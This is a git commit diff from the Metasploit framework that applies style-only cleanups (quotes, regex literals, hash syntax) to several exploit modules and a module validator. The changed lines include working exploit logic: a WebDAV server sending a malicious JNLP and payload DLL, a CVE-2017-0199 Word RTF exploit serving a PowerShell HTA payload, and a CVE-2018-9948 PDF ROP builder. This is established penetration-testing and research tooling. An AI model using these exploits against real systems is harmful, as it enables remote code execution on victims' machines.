This commit is contained in:
adfoster-r7
2026-03-02 14:45:14 +00:00
parent 1a4ae7bfa3
commit 7545328be1
7 changed files with 72 additions and 72 deletions
@@ -23,8 +23,8 @@ class MetasploitModule < Msf::Auxiliary
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Actions' => [ 'Actions' => [
['status', 'Description' => 'Use the getstatus command'], ['status', { 'Description' => 'Use the getstatus command' }],
['info', 'Description' => 'Use the getinfo command'] ['info', { 'Description' => 'Use the getinfo command' }]
], ],
'DefaultAction' => 'status', 'DefaultAction' => 'status',
'Notes' => { 'Notes' => {
@@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary
stuff stuff
else else
# try to get the host name, game name and version # try to get the host name, game name and version
stuff.select { |k, _| %w(hostname sv_hostname gamename com_gamename version).include?(k) } stuff.select { |k, _| %w[hostname sv_hostname gamename com_gamename version].include?(k) }
end end
end end
@@ -72,8 +72,8 @@ class MetasploitModule < Msf::Exploit::Remote
register_options( register_options(
[ [
OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), OptString.new('URIPATH', [ true, 'The URI to use.', '/' ]),
OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ]) OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
] ]
) )
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
ret = nil ret = nil
# print_status("Agent: #{agent}") # print_status("Agent: #{agent}")
# Check for MSIE and/or WebDAV redirector requests # Check for MSIE and/or WebDAV redirector requests
if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/ if agent =~ %r{(Windows NT (5|6)\.(0|1|2)|MiniRedir/(5|6)\.(0|1|2))}
ret = targets[1] ret = targets[1]
elsif agent =~ /MSIE (6|7|8)\.0/ elsif agent =~ /MSIE (6|7|8)\.0/
ret = targets[1] ret = targets[1]
@@ -101,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Remote
mytarget = target mytarget = target
if target.name == 'Automatic' if target.name == 'Automatic'
mytarget = auto_target(cli, request) mytarget = auto_target(cli, request)
if (not mytarget) if (!mytarget)
send_not_found(cli) send_not_found(cli)
return return
end end
@@ -120,9 +120,9 @@ class MetasploitModule < Msf::Exploit::Remote
end end
# If there is no subdirectory in the request, we need to redirect. # If there is no subdirectory in the request, we need to redirect.
if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//) if (request.uri == '/') or !(request.uri =~ %r{/([^/]+)/})
if (request.uri == '/') if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8 + rand(8)) + '/' subdir = '/' + rand_text_alphanumeric(rand(8..15)) + '/'
else else
subdir = request.uri + '/' subdir = request.uri + '/'
end end
@@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote
send_redirect(cli, subdir) send_redirect(cli, subdir)
return return
else else
share_name = $1 share_name = ::Regexp.last_match(1)
end end
# dispatch WebDAV requests based on method first # dispatch WebDAV requests based on method first
@@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote
# #
# GET requests # GET requests
# #
def process_get(cli, request, target, share_name) def process_get(cli, request, _target, share_name)
print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
# dispatch based on extension # dispatch based on extension
if (request.uri =~ /\.dll$/i) if (request.uri =~ /\.dll$/i)
@@ -161,10 +161,10 @@ class MetasploitModule < Msf::Exploit::Remote
# #
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
# Re-generate the payload # Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil) return if ((p = regenerate_payload(cli)).nil?)
# Generate a DLL based on the payload # Generate a DLL based on the payload
dll_data = generate_payload_dll({ :code => p.encoded }) dll_data = generate_payload_dll({ code: p.encoded })
# Send it :) # Send it :)
send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' }) send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
elsif (request.uri =~ /\.jnlp$/i) elsif (request.uri =~ /\.jnlp$/i)
@@ -176,11 +176,11 @@ class MetasploitModule < Msf::Exploit::Remote
unc = datastore['UNCPATH'].dup unc = datastore['UNCPATH'].dup
else else
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
unc = "\\\\" + my_host + "\\" + share_name unc = '\\\\' + my_host + '\\' + share_name
end end
# NOTE: we ensure there's only a single backslash here since it will get escaped # NOTE: we ensure there's only a single backslash here since it will get escaped
if unc[0, 2] == "\\\\" if unc[0, 2] == '\\\\'
unc.slice!(0, 1) unc.slice!(0, 1)
end end
@@ -189,29 +189,29 @@ class MetasploitModule < Msf::Exploit::Remote
# codebase, href and application-desc parameters successfully suppress java splash # codebase, href and application-desc parameters successfully suppress java splash
jnlp_data = <<~EOS jnlp_data = <<~EOS
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10) + 10)}" href="#{Rex::Text.rand_text_alpha(rand(10) + 10)}.jnlp"> <jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10..19))}" href="#{Rex::Text.rand_text_alpha(rand(10..19))}.jnlp">
<information> <information>
<title>Download</title> <title>Download</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</vendor> <vendor>#{Rex::Text.rand_text_alpha(rand(10..19))}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10) + 10)}</description> <description>#{Rex::Text.rand_text_alpha(rand(10..19))}</description>
</information> </information>
<resources> <resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " /> <java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources> </resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10) + 10)}" /> <application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10..19))}" />
</jnlp> </jnlp>
EOS EOS
print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...") print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' }) send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
else else
print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}") print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8)) jnlp_name = Rex::Text.rand_text_alpha(rand(8..15))
jnlp_path = get_resource() jnlp_path = get_resource
if jnlp_path[-1, 1] != '/' if jnlp_path[-1, 1] != '/'
jnlp_path << '/' jnlp_path << '/'
end end
jnlp_path << request.uri.split('/')[-1] << '/' jnlp_path << request.uri.split('/')[-1] << '/'
jnlp_path << jnlp_name << ".jnlp" jnlp_path << jnlp_name << '.jnlp'
send_redirect(cli, jnlp_path, '') send_redirect(cli, jnlp_path, '')
end end
end end
@@ -219,7 +219,7 @@ class MetasploitModule < Msf::Exploit::Remote
# #
# OPTIONS requests sent by the WebDav Mini-Redirector # OPTIONS requests sent by the WebDav Mini-Redirector
# #
def process_options(cli, request, target) def process_options(cli, request, _target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = { headers = {
# 'DASL' => '<DAV:sql>', # 'DASL' => '<DAV:sql>',
@@ -233,7 +233,7 @@ class MetasploitModule < Msf::Exploit::Remote
# #
# PROPFIND requests sent by the WebDav Mini-Redirector # PROPFIND requests sent by the WebDav Mini-Redirector
# #
def process_propfind(cli, request, target) def process_propfind(cli, request, _target)
path = request.uri path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}") print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = '' body = ''
@@ -242,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Response for the DLL # Response for the DLL
print_status("Sending DLL multistatus for #{path} ...") print_status("Sending DLL multistatus for #{path} ...")
# <lp1:getcontentlength>45056</lp1:getcontentlength> # <lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?> body = %(<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:"> <D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href> <D:href>#{path}</D:href>
@@ -260,11 +260,11 @@ class MetasploitModule < Msf::Exploit::Remote
</D:propstat> </D:propstat>
</D:response> </D:response>
</D:multistatus> </D:multistatus>
| )
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/')) elsif (path =~ %r{/$}) or (!path.sub('/', '').index('/'))
# Response for anything else (generally just /) # Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...") print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?> body = %(<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:"> <D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href> <D:href>#{path}</D:href>
@@ -281,14 +281,14 @@ class MetasploitModule < Msf::Exploit::Remote
</D:propstat> </D:propstat>
</D:response> </D:response>
</D:multistatus> </D:multistatus>
| )
else else
print_status("Sending 404 for #{path} ...") print_status("Sending 404 for #{path} ...")
send_not_found(cli) send_not_found(cli)
return return
end end
# send the response # send the response
resp = create_response(207, "Multi-Status") resp = create_response(207, 'Multi-Status')
resp.body = body resp.body = body
resp['Content-Type'] = 'text/xml' resp['Content-Type'] = 'text/xml'
cli.send_response(resp) cli.send_response(resp)
@@ -299,7 +299,7 @@ class MetasploitModule < Msf::Exploit::Remote
# #
def exploit def exploit
if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/') if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/' raise 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end end
super super
@@ -82,16 +82,16 @@ class MetasploitModule < Msf::Exploit::Remote
rop = '' rop = ''
max_index = 0 max_index = 0
share_path.unpack('V*').each_with_index { |blk, index| share_path.unpack('V*').each_with_index do |blk, index|
rop << "\nrop[0x%02x] = 0x%08x;" % [index + 12, blk] rop << "\nrop[0x%02x] = 0x%08x;" % [index + 12, blk]
max_index = index max_index = index
} end
(max_index + 1).upto(10) { |i| rop << "\nrop[0x%02x] = 0x00000000;" % (i + 12) } (max_index + 1).upto(10) { |i| rop << "\nrop[0x%02x] = 0x00000000;" % (i + 12) }
begin begin
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf')) template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
pdf_doc = ERB.new(template).result(binding()) pdf_doc = ERB.new(template).result(binding)
pdf_doc pdf_doc
rescue Errno::ENOENT rescue Errno::ENOENT
fail_with(Failure::NotFound, 'The PDF template was not found') fail_with(Failure::NotFound, 'The PDF template was not found')
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote
super( super(
update_info( update_info(
info, info,
'Name' => "Microsoft Office Word Malicious Hta Execution", 'Name' => 'Microsoft Office Word Malicious Hta Execution',
'Description' => %q{ 'Description' => %q{
This module creates a malicious RTF file that when opened in This module creates a malicious RTF file that when opened in
vulnerable versions of Microsoft Word will lead to code execution. vulnerable versions of Microsoft Word will lead to code execution.
@@ -83,12 +83,12 @@ class MetasploitModule < Msf::Exploit::Remote
uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}" uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
uri = Rex::Text.hexify(Rex::Text.to_unicode(uri)) uri = Rex::Text.hexify(Rex::Text.to_unicode(uri))
uri.delete!("\n") uri.delete!("\n")
uri.delete!("\\x") uri.delete!('\\x')
uri.delete!("\\") uri.delete!('\\')
padding_length = uri_maxlength * 2 - uri.length padding_length = uri_maxlength * 2 - uri.length
fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length < 0 fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length < 0
padding_length.times { uri << "0" } padding_length.times { uri << '0' }
uri uri
end end
@@ -98,38 +98,38 @@ class MetasploitModule < Msf::Exploit::Remote
# ministream = ole.instance_variable_get(:@ministream) # ministream = ole.instance_variable_get(:@ministream)
# ministream_data = ministream.instance_variable_get(:@data) # ministream_data = ministream.instance_variable_get(:@data)
ministream_data = "" ministream_data = ''
ministream_data << "01000002090000000100000000000000" # 00000000: ................ ministream_data << '01000002090000000100000000000000' # 00000000: ................
ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y ministream_data << '0000000000000000a4000000e0c9ea79' # 00000010: ...............y
ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K...... ministream_data << 'f9bace118c8200aa004ba90b8c000000' # 00000020: .........K......
ministream_data << generate_uri ministream_data << generate_uri
ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.] ministream_data << '00000000795881f43b1d7f48af2c825d' # 000000a0: ....yX..;..H.,.]
ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............ ministream_data << 'c485276300000000a5ab0000ffffffff' # 000000b0: ..'c............
ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F ministream_data << '0609020000000000c000000000000046' # 000000c0: ...............F
ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................ ministream_data << '00000000ffffffff0000000000000000' # 000000d0: ................
ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7........... ministream_data << '906660a637b5d2010000000000000000' # 000000e0: .f`.7...........
ministream_data << "00000000000000000000000000000000" # 000000f0: ................ ministream_data << '00000000000000000000000000000000' # 000000f0: ................
ministream_data << "100203000d0000000000000000000000" # 00000100: ................ ministream_data << '100203000d0000000000000000000000' # 00000100: ................
ministream_data << "00000000000000000000000000000000" # 00000110: ................ ministream_data << '00000000000000000000000000000000' # 00000110: ................
ministream_data << "00000000000000000000000000000000" # 00000120: ................ ministream_data << '00000000000000000000000000000000' # 00000120: ................
ministream_data << "00000000000000000000000000000000" # 00000130: ................ ministream_data << '00000000000000000000000000000000' # 00000130: ................
ministream_data << "00000000000000000000000000000000" # 00000140: ................ ministream_data << '00000000000000000000000000000000' # 00000140: ................
ministream_data << "00000000000000000000000000000000" # 00000150: ................ ministream_data << '00000000000000000000000000000000' # 00000150: ................
ministream_data << "00000000000000000000000000000000" # 00000160: ................ ministream_data << '00000000000000000000000000000000' # 00000160: ................
ministream_data << "00000000000000000000000000000000" # 00000170: ................ ministream_data << '00000000000000000000000000000000' # 00000170: ................
ministream_data << "00000000000000000000000000000000" # 00000180: ................ ministream_data << '00000000000000000000000000000000' # 00000180: ................
ministream_data << "00000000000000000000000000000000" # 00000190: ................ ministream_data << '00000000000000000000000000000000' # 00000190: ................
ministream_data << "00000000000000000000000000000000" # 000001a0: ................ ministream_data << '00000000000000000000000000000000' # 000001a0: ................
ministream_data << "00000000000000000000000000000000" # 000001b0: ................ ministream_data << '00000000000000000000000000000000' # 000001b0: ................
ministream_data << "00000000000000000000000000000000" # 000001c0: ................ ministream_data << '00000000000000000000000000000000' # 000001c0: ................
ministream_data << "00000000000000000000000000000000" # 000001d0: ................ ministream_data << '00000000000000000000000000000000' # 000001d0: ................
ministream_data << "00000000000000000000000000000000" # 000001e0: ................ ministream_data << '00000000000000000000000000000000' # 000001e0: ................
ministream_data << "00000000000000000000000000000000" # 000001f0: ................ ministream_data << '00000000000000000000000000000000' # 000001f0: ................
ministream_data ministream_data
end end
def create_rtf_format def create_rtf_format
template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf") template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-0199.rtf')
template_rtf = ::File.open(template_path, 'rb') template_rtf = ::File.open(template_path, 'rb')
data = template_rtf.read(template_rtf.stat.size) data = template_rtf.read(template_rtf.stat.size)
@@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote
data data
end end
def on_request_uri(cli, req) def on_request_uri(cli, _req)
p = regenerate_payload(cli) p = regenerate_payload(cli)
data = Msf::Util::EXE.to_executable_fmt( data = Msf::Util::EXE.to_executable_fmt(
framework, framework,
@@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote
'win', 'win',
p.encoded, p.encoded,
'hta-psh', 'hta-psh',
{ :arch => ARCH_X86, :platform => 'win' } { arch: ARCH_X86, platform: 'win' }
) )
send_response(cli, data, 'Content-Type' => 'application/hta') send_response(cli, data, 'Content-Type' => 'application/hta')
@@ -29,8 +29,8 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://github.com/klezVirus/CVE-2021-40444'] ['URL', 'https://github.com/klezVirus/CVE-2021-40444']
], ],
'Author' => [ 'Author' => [
'lockedbyte ', # Vulnerability discovery. 'lockedbyte', # Vulnerability discovery.
'klezVirus ', # References and PoC. 'klezVirus', # References and PoC.
'thesunRider', # Official Metasploit module. 'thesunRider', # Official Metasploit module.
'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring. 'mekhalleh (RAMELLA Sébastien)' # Zeop-CyberSecurity - code base contribution and refactoring.
], ],
+2 -2
View File
@@ -343,9 +343,9 @@ RSpec.describe ModuleValidation::Validator do
it 'has errors for invalid URL references' do it 'has errors for invalid URL references' do
expect(subject.errors.full_messages).to include( expect(subject.errors.full_messages).to include(
"References URL reference 'not a valid url' is not a valid HTTP(s) URI with valid percent encoding: bad URI (is not URI?): \"not a valid url\"", "References URL reference 'not a valid url' is not a valid HTTP(s) URI with valid percent encoding",
"References URL reference 'ftp://example.com/file.txt' is not a valid HTTP(s) URI with valid percent encoding", "References URL reference 'ftp://example.com/file.txt' is not a valid HTTP(s) URI with valid percent encoding",
"References URL reference 'ht tp://example.com' is not a valid HTTP(s) URI with valid percent encoding: bad URI (is not URI?): \"ht tp://example.com\"", "References URL reference 'ht tp://example.com' is not a valid HTTP(s) URI with valid percent encoding",
"References URL reference 'example.com/exploit/research' is not a valid HTTP(s) URI with valid percent encoding" "References URL reference 'example.com/exploit/research' is not a valid HTTP(s) URI with valid percent encoding"
) )
end end
+1 -1
View File
@@ -200,7 +200,7 @@ module ModuleValidation
errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding" errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding"
end end
rescue URI::InvalidURIError => e rescue URI::InvalidURIError => e
errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding: #{e.message}" errors.add :references, "URL reference '#{val}' is not a valid HTTP(s) URI with valid percent encoding"
end end
end end
end end